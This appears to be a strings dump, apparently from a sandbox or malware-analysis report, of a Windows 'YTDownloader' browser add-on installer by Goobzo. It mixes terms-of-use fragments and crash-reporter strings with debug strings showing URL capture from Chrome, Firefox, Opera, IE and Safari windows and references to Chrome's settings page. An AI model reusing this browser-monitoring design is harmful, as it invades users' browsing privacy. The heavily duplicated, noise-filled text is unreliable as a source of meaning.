HttpOpenRequestW
HttpEndRequestW
HttpEndRequestW
WININET.dll
WININET.dll
GetCPInfo
GetCPInfo
zcÃ
zcÃ
.?AVChromeBrowserWindow@@
.?AVChromeBrowserWindow@@
.?AVFirefoxBrowserWindow@@
.?AVFirefoxBrowserWindow@@
.?AVOperaBrowserWindow@@
.?AVOperaBrowserWindow@@
.?AVCHttpFileDownload@@
.?AVCHttpFileDownload@@
.?AVCHttpAsync@@
.?AVCHttpAsync@@
.?AVCHttpDownload@@
.?AVCHttpDownload@@
.?AVCHttp@@
.?AVCHttp@@
222222222
222222222
55555.ccc
55555.ccc
22222222
22222222
22222222222
22222222222
2222222222
2222222222
222222222222
222222222222
))aaaaaaaaaaaaa555555.7.??.cccccccAAAAAAAAAAAAA
))aaaaaaaaaaaaa555555.7.??.cccccccAAAAAAAAAAAAA
2222222
2222222
..ccc
..ccc
5.77..Lc7cEEcc7AAATE
5.77..Lc7cEEcc7AAATE
|444|44|4
|444|44|4
||||4|444
||||4|444
MM.LJ
MM.LJ
MMM)MMBMBMBB???BBB??..?....L7.LLLEEEEEATAT
MMM)MMBMBMBB???BBB??..?....L7.LLLEEEEEATAT
CMIC.CF?
CMIC.CF?
@@,,@@,@@@@
@@,,@@,@@@@
**,,,,@,,@@,,
**,,,,@,,@@,,
MMMMMBB???.BB?.7??.7.7LL7.7ELLELL7ETAETTTTT
MMMMMBB???.BB?.7??.7.7LL7.7ELLELL7ETAETTTTT
@@,,@,,,,
@@,,@,,,,
MMBB???B?.......777.?.LLLLLLLETT
MMBB???B?.......777.?.LLLLLLLETT
,,@,,,*,,,*
,,@,,,*,,,*
.hsdy>
.hsdy>
,,,,*,,***
,,,,*,,***
,,,@@,**,,,
,,,@@,**,,,
MBMBBBBBB??????.B??.7c.77.LELL7LEEEL7E
MBMBBBBBB??????.B??.7c.77.LELL7LEEEL7E
,,****,*
,,****,*
MBMB??BBB???????...??777..LLEL7LAEEcAAATT
MBMB??BBB???????...??777..LLEL7LAEEcAAATT
,**,,****
,**,,****
B???...7.7.777LLLL7ELAAAAAATAA
B???...7.7.777LLLL7ELAAAAAATAA
BB?.??.....?..LLLELEAAcEAEET
BB?.??.....?..LLLELEAAcEAEET
# #
# #
B??BBMBB???BB....7777L7.LAATTELE
B??BBMBB???BB....7777L7.LAATTELE
111111111
111111111
11111111111
11111111111
BBMB?BB????...777.LLLL7LLAET
BBMB?BB????...777.LLLL7LLAET
BB?.?.BBB???...LL7.77LLEEEEELTTTT
BB?.?.BBB???...LL7.77LLEEEEELTTTT
RRVVw%%X
RRVVw%%X
# #1111
# #1111
BB??..77.7777.777EAEELELET
BB??..77.7777.777EAEELELET
1111111
1111111
11111111
11111111
B??BB??..?..7..7L..LLLL
B??BB??..?..7..7L..LLLL
B??B?.B?......?..7.LL7LL
B??B?.B?......?..7.LL7LL
B??.?......LLL..
B??.?......LLL..
BB.....77.7LLL..LLEE
BB.....77.7LLL..LLEE
MBB??????.7.77.777L
MBB??????.7.77.777L
MMBMMB..????....777.LEEE
MMBMMB..????....777.LEEE
??7.7.LLLL7LETL
??7.7.LLLL7LETL
8888888
8888888
BB.BB?........L77L
BB.BB?........L77L
BMMB?B?....777.7.7.EEL
BMMB?B?....777.7.7.EEL
BBB.?B.77.......ETEE
BBB.?B.77.......ETEE
BB.BB........7LLETTT
BB.BB........7LLETTT
88888888
88888888
B???BB..BB?..7LLLT
B???BB..BB?..7LLLT
BB.??BB..BB..7777L
BB.??BB..BB..7777L
B???????BB.?...LLLL7
B???????BB.?...LLLL7
BMB..BB.7.ELLLL77L
BMB..BB.7.ELLLL77L
BBB??BB.?.LLLL77.
BBB??BB.?.LLLL77.
888888888
888888888
MBB?....B...cLLLLLLT
MBB?....B...cLLLLLLT
___&_&&&
___&_&&&
__&&____&
__&&____&
____&___&&
____&___&&
____&__&_&
____&__&_&
BM?.BBB?....777L
BM?.BBB?....777L
&&____&__&&__&&____
&&____&__&&__&&____
_&_&&_&&
_&_&&_&&
.njm4tyyxwwwwxyytm3k.
.njm4tyyxwwwwxyytm3k.
\mbrkBinSub0\msmallFrac0\mdispDef1\mlMargin0\mrMargin0\mdefJc1\mwrapIndent1440\mintLim0\mnaryLim1}{\info{\author udif}{\operator Edith}{\creatim\yr2013\mo10\dy22\hr16\min58}{\revtim\yr2014\mo8\dy24\hr14\min26}{\version5}{\edmins16}{\nofpages4}
\mbrkBinSub0\msmallFrac0\mdispDef1\mlMargin0\mrMargin0\mdefJc1\mwrapIndent1440\mintLim0\mnaryLim1}{\info{\author udif}{\operator Edith}{\creatim\yr2013\mo10\dy22\hr16\min58}{\revtim\yr2014\mo8\dy24\hr14\min26}{\version5}{\edmins16}{\nofpages4}
{\nofwords2316}{\nofchars13206}{\nofcharsws15492}{\vern57437}}{\*\xmlnstbl {\xmlns1 hXXp://schemas.microsoft.com/office/word/2003/wordml}}\paperw12240\paperh15840\margl1501\margr1502\margt1440\margb1440\gutter0\ltrsect
{\nofwords2316}{\nofchars13206}{\nofcharsws15492}{\vern57437}}{\*\xmlnstbl {\xmlns1 hXXp://schemas.microsoft.com/office/word/2003/wordml}}\paperw12240\paperh15840\margl1501\margr1502\margt1440\margb1440\gutter0\ltrsect
The following license and terms of use (jointly: "Terms of Use") govern your access and use of the YTDownloader.com website ("Site") and your download, install, access and use of the YTDownloader Browser Application and Add-On ("YTDownloader Add-On") and
The following license and terms of use (jointly: "Terms of Use") govern your access and use of the YTDownloader.com website ("Site") and your download, install, access and use of the YTDownloader Browser Application and Add-On ("YTDownloader Add-On") and
ll Site and YTDownloader Add-On contained or displayed information, and any and all available editions, add-ins, tools and documentations, either jointly or separately (collectively and separately known as "YTDownloader"). The Terms of Use are a legally b
ll Site and YTDownloader Add-On contained or displayed information, and any and all available editions, add-ins, tools and documentations, either jointly or separately (collectively and separately known as "YTDownloader"). The Terms of Use are a legally b
ive websites) are each subject to their respective terms and conditions or agreements. Please note that these Terms of Use limit our liability and that we do not provide warranties for YTDownloader or contents. It also limits your remedies.}{\rtlch\fcs1
ive websites) are each subject to their respective terms and conditions or agreements. Please note that these Terms of Use limit our liability and that we do not provide warranties for YTDownloader or contents. It also limits your remedies.}{\rtlch\fcs1
lely for your private and personal purposes and always in accordance with the Terms and Use and the applicable law. Any other use is prohibited. The use of any software or automated system to extract data from YTDownloader.com or the YTDownloader Add-Ons
lely for your private and personal purposes and always in accordance with the Terms and Use and the applicable law. Any other use is prohibited. The use of any software or automated system to extract data from YTDownloader.com or the YTDownloader Add-Ons
is strictly prohibited. You will not disrupt the functioning of the YTDownloader.com or the YTDownloader Add-Ons or otherwise act in a way that interferes with other users\rquote
is strictly prohibited. You will not disrupt the functioning of the YTDownloader.com or the YTDownloader Add-Ons or otherwise act in a way that interferes with other users\rquote
verse assemble, reverse compile, decompile, disassemble, translate or otherwise alter any executable code, contents or materials on or received via YTDownloader without our prior written consent. You also agree to not remove, obscure, or alter any copyrig
verse assemble, reverse compile, decompile, disassemble, translate or otherwise alter any executable code, contents or materials on or received via YTDownloader without our prior written consent. You also agree to not remove, obscure, or alter any copyrig
TDownloader temporarily or permanently, with or without notice to you, and are not obligated to support or update the YTDownloader service. You acknowledge and agree that YTDownloader will not be liable to you or any third party in the event that we exerc
TDownloader temporarily or permanently, with or without notice to you, and are not obligated to support or update the YTDownloader service. You acknowledge and agree that YTDownloader will not be liable to you or any third party in the event that we exerc
\~}{\field{\*\fldinst {\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \f31507\fs20\insrsid3632102 HYPERLINK "mailto:}{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \f31507\fs20\insrsid3632102\charrsid3632102 support@ytdownloader.com}{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0
\~}{\field{\*\fldinst {\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \f31507\fs20\insrsid3632102 HYPERLINK "mailto:}{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \f31507\fs20\insrsid3632102\charrsid3632102 support@ytdownloader.com}{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0
\f31507\fs20\insrsid3632102 " }}{\fldrslt {\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \cs18\f31507\fs20\ul\cf2\insrsid3632102\charrsid16527760 support@ytdownloader.com}}}\sectd \ltrsect
\f31507\fs20\insrsid3632102 " }}{\fldrslt {\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \cs18\f31507\fs20\ul\cf2\insrsid3632102\charrsid16527760 support@ytdownloader.com}}}\sectd \ltrsect
the Site are based on our best judgment but are subject to a number of uncertainties as well as events beyond our control. You understand and agree that your access and use of the Site and its contents is entirely at your own discretion and at your own ri
the Site are based on our best judgment but are subject to a number of uncertainties as well as events beyond our control. You understand and agree that your access and use of the Site and its contents is entirely at your own discretion and at your own ri
\par }{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \f31507\fs20\cf1\insrsid1449721\charrsid1449721 YTDownloader includes certain marks, graphics, logos, page headers,
\par }{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \f31507\fs20\cf1\insrsid1449721\charrsid1449721 YTDownloader includes certain marks, graphics, logos, page headers,
, licensors, suppliers and their respective directors, employees, agents a}{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \f31507\fs20\cf1\insrsid3632102 nd shareholders (jointly: the "}{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0
, licensors, suppliers and their respective directors, employees, agents a}{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \f31507\fs20\cf1\insrsid3632102 nd shareholders (jointly: the "}{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0
s to accuracy, performance, merchantability, fitness for a particular purpose, and non-infringement. The Goobzo parties, jointly and severally, also disclaim any warranties and liability regarding the accuracy, completeness, security, reliability, timelin
s to accuracy, performance, merchantability, fitness for a particular purpose, and non-infringement. The Goobzo parties, jointly and severally, also disclaim any warranties and liability regarding the accuracy, completeness, security, reliability, timelin
ss, and performance of the YTDownloader, services and contents. Some countries and jurisdictions do not allow the exclusion or disclaimer of certain terms or warranties, so the above exclusions in whole or in part may not apply to you in your country or j
ss, and performance of the YTDownloader, services and contents. Some countries and jurisdictions do not allow the exclusion or disclaimer of certain terms or warranties, so the above exclusions in whole or in part may not apply to you in your country or j
nder applicable law, in no event shall the Goobzo parties be liable for any damage whatsoever including but not limited to any direct, indirect, consequential, special, exemplary, punitive or incidental damages (including but not limited to damages for lo
nder applicable law, in no event shall the Goobzo parties be liable for any damage whatsoever including but not limited to any direct, indirect, consequential, special, exemplary, punitive or incidental damages (including but not limited to damages for lo
s of income or profits, business interruption, loss of business information, loss of goodwill or reputation, and the like) whether such claim is based on warranty, contract, tort (including negligence), or otherwise, and even if the Goobzo parties, jointl
s of income or profits, business interruption, loss of business information, loss of goodwill or reputation, and the like) whether such claim is based on warranty, contract, tort (including negligence), or otherwise, and even if the Goobzo parties, jointl
urisdictions do not allow the exclusion or disclaimer or limitation of liability of certain types of damages, so the above exclusions may not apply to you in your country or jurisdiction and in such case the aggregate liability of the Goobzo parties shall
urisdictions do not allow the exclusion or disclaimer or limitation of liability of certain types of damages, so the above exclusions may not apply to you in your country or jurisdiction and in such case the aggregate liability of the Goobzo parties shall
responsibilities and liabilities are not on a joint and several basis (i.e. each member of the Goobzo parties shall be solely responsible for the damages and losses caused by such member.\line }{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0
responsibilities and liabilities are not on a joint and several basis (i.e. each member of the Goobzo parties shall be solely responsible for the damages and losses caused by such member.\line }{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0
You may create links to this Site from other websites in as much as it is clear that we do not endorse you or your activity, business, products or services and that you and us are not affiliated in any way.\line }{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0
You may create links to this Site from other websites in as much as it is clear that we do not endorse you or your activity, business, products or services and that you and us are not affiliated in any way.\line }{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0
\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \f31507\fs20\insrsid3632102\charrsid3632102 support@ytdownloader.com}{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \f31507\fs20\insrsid3632102 " }}{\fldrslt {\rtlch\fcs1 \af1\afs20 \ltrch\fcs0
\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \f31507\fs20\insrsid3632102\charrsid3632102 support@ytdownloader.com}{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \f31507\fs20\insrsid3632102 " }}{\fldrslt {\rtlch\fcs1 \af1\afs20 \ltrch\fcs0
\cs18\f31507\fs20\ul\cf2\insrsid3632102\charrsid16527760 support@ytdownloader.com}}}\sectd \ltrsect\linex0\headery708\footery708\colsx708\endnhere\sectlinegrid360\sectdefaultcl\sectrsid8879180\sftnbj {\rtlch\fcs1 \af1\afs20 \ltrch\fcs0
\cs18\f31507\fs20\ul\cf2\insrsid3632102\charrsid16527760 support@ytdownloader.com}}}\sectd \ltrsect\linex0\headery708\footery708\colsx708\endnhere\sectlinegrid360\sectdefaultcl\sectrsid8879180\sftnbj {\rtlch\fcs1 \af1\afs20 \ltrch\fcs0
\sbasedon0 \snext17 \sunhideused \styrsid5573618 Normal (Web);}{\*\cs18 \additive \rtlch\fcs1 \af0 \ltrch\fcs0 \sbasedon10 \spriority0 \styrsid5573618 apple-converted-space;}{\*\cs19 \additive \rtlch\fcs1 \af0 \ltrch\fcs0 \ul\cf2
\sbasedon0 \snext17 \sunhideused \styrsid5573618 Normal (Web);}{\*\cs18 \additive \rtlch\fcs1 \af0 \ltrch\fcs0 \sbasedon10 \spriority0 \styrsid5573618 apple-converted-space;}{\*\cs19 \additive \rtlch\fcs1 \af0 \ltrch\fcs0 \ul\cf2
\msmallFrac0\mdispDef1\mlMargin0\mrMargin0\mdefJc1\mwrapIndent1440\mintLim0\mnaryLim1}{\info{\author Edith}{\operator Edith}{\creatim\yr2014\mo3\dy24\hr8\min26}{\revtim\yr2014\mo10\dy27\hr12}{\version22}{\edmins1585}{\nofpages3}{\nofwords2318}
\msmallFrac0\mdispDef1\mlMargin0\mrMargin0\mdefJc1\mwrapIndent1440\mintLim0\mnaryLim1}{\info{\author Edith}{\operator Edith}{\creatim\yr2014\mo3\dy24\hr8\min26}{\revtim\yr2014\mo10\dy27\hr12}{\version22}{\edmins1585}{\nofpages3}{\nofwords2318}
{\nofchars13216}{\nofcharsws15503}{\vern57437}}{\*\xmlnstbl {\xmlns1 hXXp://schemas.microsoft.com/office/word/2003/wordml}}\paperw12240\paperh15840\margl1800\margr1800\margt568\margb1440\gutter0\ltrsect
{\nofchars13216}{\nofcharsws15503}{\vern57437}}{\*\xmlnstbl {\xmlns1 hXXp://schemas.microsoft.com/office/word/2003/wordml}}\paperw12240\paperh15840\margl1800\margr1800\margt568\margb1440\gutter0\ltrsect
\b\f40\fs16\insrsid11944020\charrsid14186020 \line }{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\insrsid11944020\charrsid14186020 1. Acceptance of Terms of Use\line The following license and terms of use (jointly: "Terms of Use") go}{\rtlch\fcs1
\b\f40\fs16\insrsid11944020\charrsid14186020 \line }{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\insrsid11944020\charrsid14186020 1. Acceptance of Terms of Use\line The following license and terms of use (jointly: "Terms of Use") go}{\rtlch\fcs1
website ("Site") and your download, install, access and use of the YTDownloader Browser Application and Add-On ("YTDownloader Add-On") and all Site and YTDownloader Add-On contained or displayed information, and any and all available editions, add-ins, t
website ("Site") and your download, install, access and use of the YTDownloader Browser Application and Add-On ("YTDownloader Add-On") and all Site and YTDownloader Add-On contained or displayed information, and any and all available editions, add-ins, t
ols and documentations, either jointly or separately (collectively and separately known as "YTDownloader"). The Terms of Use are a legally binding agreement between you, ("you", "visitor" and/or "user"), and Goobzo Ltd. and its affiliates and subsidiaries
ols and documentations, either jointly or separately (collectively and separately known as "YTDownloader"). The Terms of Use are a legally binding agreement between you, ("you", "visitor" and/or "user"), and Goobzo Ltd. and its affiliates and subsidiaries
r or parts thereof at our sole discretion and without liability. The products and services described on YTDownloader (and their respective websites) are each subject to their respective terms and conditions or agreements. Please note that these Terms of U
r or parts thereof at our sole discretion and without liability. The products and services described on YTDownloader (and their respective websites) are each subject to their respective terms and conditions or agreements. Please note that these Terms of U
ny other use is prohibited. The use of any software or automated system to extract data from YTDownloader.com or the YTDownloader Add-Ons is strictly prohibited. You will not disrupt the functioning of the YTDownloader.com or the YTDownloader Add-Ons or o
ny other use is prohibited. The use of any software or automated system to extract data from YTDownloader.com or the YTDownloader Add-Ons is strictly prohibited. You will not disrupt the functioning of the YTDownloader.com or the YTDownloader Add-Ons or o
py, modify, adapt, distribute, transmit, translate, display or otherwise exploit YTDownloader and you shall not try to reverse engineer, reverse assemble, reverse compile, decompile, disassemble, translate or otherwise alter any executable code, contents
py, modify, adapt, distribute, transmit, translate, display or otherwise exploit YTDownloader and you shall not try to reverse engineer, reverse assemble, reverse compile, decompile, disassemble, translate or otherwise alter any executable code, contents
ith or through the Site. We reserve all rights not expressly granted in and to the Site. We reserve the right to terminate your access to YTDownloader temporarily or permanently, with or without notice to you, and are not obligated to support or update th
ith or through the Site. We reserve all rights not expressly granted in and to the Site. We reserve the right to terminate your access to YTDownloader temporarily or permanently, with or without notice to you, and are not obligated to support or update th
YTDownloader service. You acknowledge and agree that YTDownloader will not be liable to you or any third party in the event that we exercise our right to modify or terminate access to the YTDownloader service. Unless explicitly stated otherwise, any new
YTDownloader service. You acknowledge and agree that YTDownloader will not be liable to you or any third party in the event that we exercise our right to modify or terminate access to the YTDownloader service. Unless explicitly stated otherwise, any new
support@ytdownloader.com}{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\cf1\insrsid3606027 " }{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\cf1\insrsid3886136 {\*\datafield
support@ytdownloader.com}{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\cf1\insrsid3606027 " }{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\cf1\insrsid3886136 {\*\datafield
0000a5ab0000}}}{\fldrslt {\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \cs19\f40\fs16\ul\cf2\insrsid3606027\charrsid2648633 support@ytdownloader.com}}}\sectd \ltrsect
0000a5ab0000}}}{\fldrslt {\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \cs19\f40\fs16\ul\cf2\insrsid3606027\charrsid2648633 support@ytdownloader.com}}}\sectd \ltrsect
looking statements made on the Site are based on our best judgment but are subject to a number of uncertainties as well as events beyond our control. You understand and agree that your access and use of the Site and its contents is entirely at your own di
looking statements made on the Site are based on our best judgment but are subject to a number of uncertainties as well as events beyond our control. You understand and agree that your access and use of the Site and its contents is entirely at your own di
\f40\fs16\cf1\insrsid11944020\charrsid14186020 . Trademarks\line }{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\cf1\insrsid11944020\charrsid425254 YTDownloader includes certain mark
\f40\fs16\cf1\insrsid11944020\charrsid14186020 . Trademarks\line }{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\cf1\insrsid11944020\charrsid425254 YTDownloader includes certain mark
and personal use only with no warranties whatsoever. Goobzo, its affiliates, partners, licensors, suppliers and their respective directors, employees, agents and shareholders (jointly: the " Goobzo parties") do not assume any liability whatsoever and disc
and personal use only with no warranties whatsoever. Goobzo, its affiliates, partners, licensors, suppliers and their respective directors, employees, agents and shareholders (jointly: the " Goobzo parties") do not assume any liability whatsoever and disc
loader and included services and contents, including, without limitation, warranties as to accuracy, performance, merchantability, fitness for a particular purpose, and non-infringement. The Goobzo parties, jointly and severally, also disclaim any warrant
loader and included services and contents, including, without limitation, warranties as to accuracy, performance, merchantability, fitness for a particular purpose, and non-infringement. The Goobzo parties, jointly and severally, also disclaim any warrant
es and liability regarding the accuracy, completeness, security, reliability, timeliness, and performance of the YTDownloader, services and contents. Some countries and jurisdictions do not allow the exclusion or disclaimer of certain terms or warranties,
es and liability regarding the accuracy, completeness, security, reliability, timeliness, and performance of the YTDownloader, services and contents. Some countries and jurisdictions do not allow the exclusion or disclaimer of certain terms or warranties,
, exemplary, punitive or incidental damages (including but not limited to damages for loss of income or profits, business interruption, loss of business information, loss of goodwill or reputation, and the like) whether such claim is based on warranty, co
, exemplary, punitive or incidental damages (including but not limited to damages for loss of income or profits, business interruption, loss of business information, loss of goodwill or reputation, and the like) whether such claim is based on warranty, co
tract, tort (including negligence), or otherwise, and even if the Goobzo parties, jointly or separately, have been advised of the possibility of such damages or loss. Such limitation of liability shall also apply whether the damages arise from use, misuse
tract, tort (including negligence), or otherwise, and even if the Goobzo parties, jointly or separately, have been advised of the possibility of such damages or loss. Such limitation of liability shall also apply whether the damages arise from use, misuse
t of personal injury or death arising from the negligence of Goobzo. Some countries and jurisdictions do not allow the exclusion or disclaimer or limitation of liability of certain types of damages, so the above exclusions may not apply to you in your cou
t of personal injury or death arising from the negligence of Goobzo. Some countries and jurisdictions do not allow the exclusion or disclaimer or limitation of liability of certain types of damages, so the above exclusions may not apply to you in your cou
While these limitations of liability provisions use the Goobzo parties definition, the responsibilities and liabilities are not on a joint and several basis (i.e. each member of the Goobzo parties shall be solely responsible for the damages and losses ca
While these limitations of liability provisions use the Goobzo parties definition, the responsibilities and liabilities are not on a joint and several basis (i.e. each member of the Goobzo parties shall be solely responsible for the damages and losses ca
\par 1}{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\cf1\insrsid11944020 1}{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\cf1\insrsid11944020\charrsid14186020 . Links to this Site\line You may create links to this Site from other websites in a
\par 1}{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\cf1\insrsid11944020 1}{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\cf1\insrsid11944020\charrsid14186020 . Links to this Site\line You may create links to this Site from other websites in a
Failure or delay of Goobzo exercise any right, power or remedy under or to require or enforce strict performance by you of any provision of th
Failure or delay of Goobzo exercise any right, power or remedy under or to require or enforce strict performance by you of any provision of th
\ltrch\fcs0 \f40\fs16\insrsid11944020\charrsid413544 HYPERLINK "mailto:support@YTDownloader.com" }{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\insrsid11944020\charrsid413544 {\*\datafield
\ltrch\fcs0 \f40\fs16\insrsid11944020\charrsid413544 HYPERLINK "mailto:support@YTDownloader.com" }{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\insrsid11944020\charrsid413544 {\*\datafield
0000a5ab00000066000100d9}}}{\fldrslt {\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \cs19\f40\fs16\ul\cf2\insrsid11944020\charrsid413544 support@YTDownloader.com}}}\sectd \ltrsect
0000a5ab00000066000100d9}}}{\fldrslt {\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \cs19\f40\fs16\ul\cf2\insrsid11944020\charrsid413544 support@YTDownloader.com}}}\sectd \ltrsect
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Top of Form;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Bottom of Form;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Normal (Web);\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Acronym;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Top of Form;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Bottom of Form;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Normal (Web);\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Acronym;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Keyboard;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Preformatted;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Sample;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Typewriter;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Keyboard;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Preformatted;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Sample;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Typewriter;
7}7K7R7X7n7
7}7K7R7X7n7
9#9,929;9
9#9,929;9
8*80898@8
8*80898@8
4 50598?8
4 50598?8
9%9s9
9%9s9
: :$:(:,:0:4:8:<:>
: :$:(:,:0:4:8:<:>
;0;4;8;
;0;4;8;
? ?$?(?,?0?
? ?$?(?,?0?
: :$:(:,:0:4:8:
: :$:(:,:0:4:8:
9$90989\9
9$90989\9
9 9@9`9|9
9 9@9`9|9
mscoree.dll
mscoree.dll
- floating point support not loaded
- floating point support not loaded
- CRT not initialized
- CRT not initialized
- Attempt to initialize the CRT more than once.
- Attempt to initialize the CRT more than once.
portuguese-brazilian
portuguese-brazilian
USER32.DLL
USER32.DLL
Invalid parameter or key doesn't exist.
Invalid parameter or key doesn't exist.
Floating point (%%e, %%f, %%g, and %%G) is not supported by the WTL::CString class.
Floating point (%%e, %%f, %%g, and %%G) is not supported by the WTL::CString class.
The flag CR_INST_STORE_ZIP_ARCHIVES should be used with CR_INST_DONT_SEND_REPORT flag.
The flag CR_INST_STORE_ZIP_ARCHIVES should be used with CR_INST_DONT_SEND_REPORT flag.
%s %s Error Report
%s %s Error Report
CrashSender.exe is not found in the specified path.
CrashSender.exe is not found in the specified path.
crashrpt_lang.ini
crashrpt_lang.ini
l%s\CrashRpt\UnsentCrashReports\%s_%s
l%s\CrashRpt\UnsentCrashReports\%s_%s
Couldn't create crash report directory.
Couldn't create crash report directory.
Couldn't set C exception handlers for main execution thread.
Couldn't set C exception handlers for main execution thread.
Couldn't launch CrashSender.exe process.
Couldn't launch CrashSender.exe process.
%s-tmp
%s-tmp
Local\CrashRptEvent_%s_2
Local\CrashRptEvent_%s_2
The operation was cancelled by client.
The operation was cancelled by client.
Error launching CrashSender.exe
Error launching CrashSender.exe
%s has stopped working
%s has stopped working
Invalid registry key or invalid destination file is specified.
Invalid registry key or invalid destination file is specified.
HKEY_LOCAL_MACHINE\
HKEY_LOCAL_MACHINE\
HKEY_CURRENT_USER\
HKEY_CURRENT_USER\
Empty subkey is not allowed.
Empty subkey is not allowed.
The registry key coudn't be open.
The registry key coudn't be open.
Local\CrashRptEvent_%s
Local\CrashRptEvent_%s
%s\%s_%s\%s
%s\%s_%s\%s
%u.%u.%u.%u
%u.%u.%u.%u
chrome.exe
chrome.exe
iexplore.exe
iexplore.exe
firefox.exe
firefox.exe
safari.exe
safari.exe
opera.exe
opera.exe
explorer.exe
explorer.exe
chrome
chrome
firefox
firefox
opera
opera
@Google Chrome
@Google Chrome
Chrome_WidgetWin_1
Chrome_WidgetWin_1
chrome://settings-frame/#syi516
chrome://settings-frame/#syi516
ChromeGetUrl::Initialize ReRun
ChromeGetUrl::Initialize ReRun
ChromeGetUrl Done
ChromeGetUrl Done
ChromeGetUrl::BuildChromeHandles found window class name: %s
ChromeGetUrl::BuildChromeHandles found window class name: %s
ChromeGetUrl::BuildChromeHandles HWNDS: %s
ChromeGetUrl::BuildChromeHandles HWNDS: %s
ChromeGetUrl::BuildChromeHandles Could not find Chrome windows, exiting..
ChromeGetUrl::BuildChromeHandles Could not find Chrome windows, exiting..
%d secs
%d secs
Name - %s
Name - %s
Value - %s
Value - %s
https
https
URL: %s changed to: %s
URL: %s changed to: %s
Adding URL:
Adding URL:
Adding URL: %s
Adding URL: %s
@Firefox
@Firefox
FirefoxBrowserWindow Found button window, 0x%x
FirefoxBrowserWindow Found button window, 0x%x
FirefoxBrowserWindow Found browser window, 0x%x
FirefoxBrowserWindow Found browser window, 0x%x
IE9BrowserWindow Found button window, 0x%x
IE9BrowserWindow Found button window, 0x%x
IE9BrowserWindow Found browser window, 0x%x
IE9BrowserWindow Found browser window, 0x%x
@Opera
@Opera
OperaBrowserWindow Found button window, 0x%x
OperaBrowserWindow Found button window, 0x%x
OperaBrowserWindow Found browser window, 0x%x
OperaBrowserWindow Found browser window, 0x%x
SafariBrowserWindow Found button window, 0x%x
SafariBrowserWindow Found button window, 0x%x
SafariBrowserWindow Found browser window, 0x%x
SafariBrowserWindow Found browser window, 0x%x
ESOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy
ESOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy
GetModule failed. Err=%d
GetModule failed. Err=%d
OpenProcess failed. Err=%d
OpenProcess failed. Err=%d
KCertGetNameString failed.
KCertGetNameString failed.
CryptDecodeObject failed with %x
CryptDecodeObject failed with %x
CryptQueryObject failed with %x
CryptQueryObject failed with %x
CryptMsgGetParam failed with %x
CryptMsgGetParam failed with %x
Program Name : %s
Program Name : %s
Publisher Link : %s
Publisher Link : %s
MoreInfo Link : %s
MoreInfo Link : %s
CertFindCertificateInStore failed with %x
CertFindCertificateInStore failed with %x
CBOT_Condition::IsToInstall Return %d
CBOT_Condition::IsToInstall Return %d
[CEventsThread::AddEvent] ___Error invalid event handle %d
[CEventsThread::AddEvent] ___Error invalid event handle %d
[CEventsThread::AddEvent] ___Warning event handle already exists %d
[CEventsThread::AddEvent] ___Warning event handle already exists %d
[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...
[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...
[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d
[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d
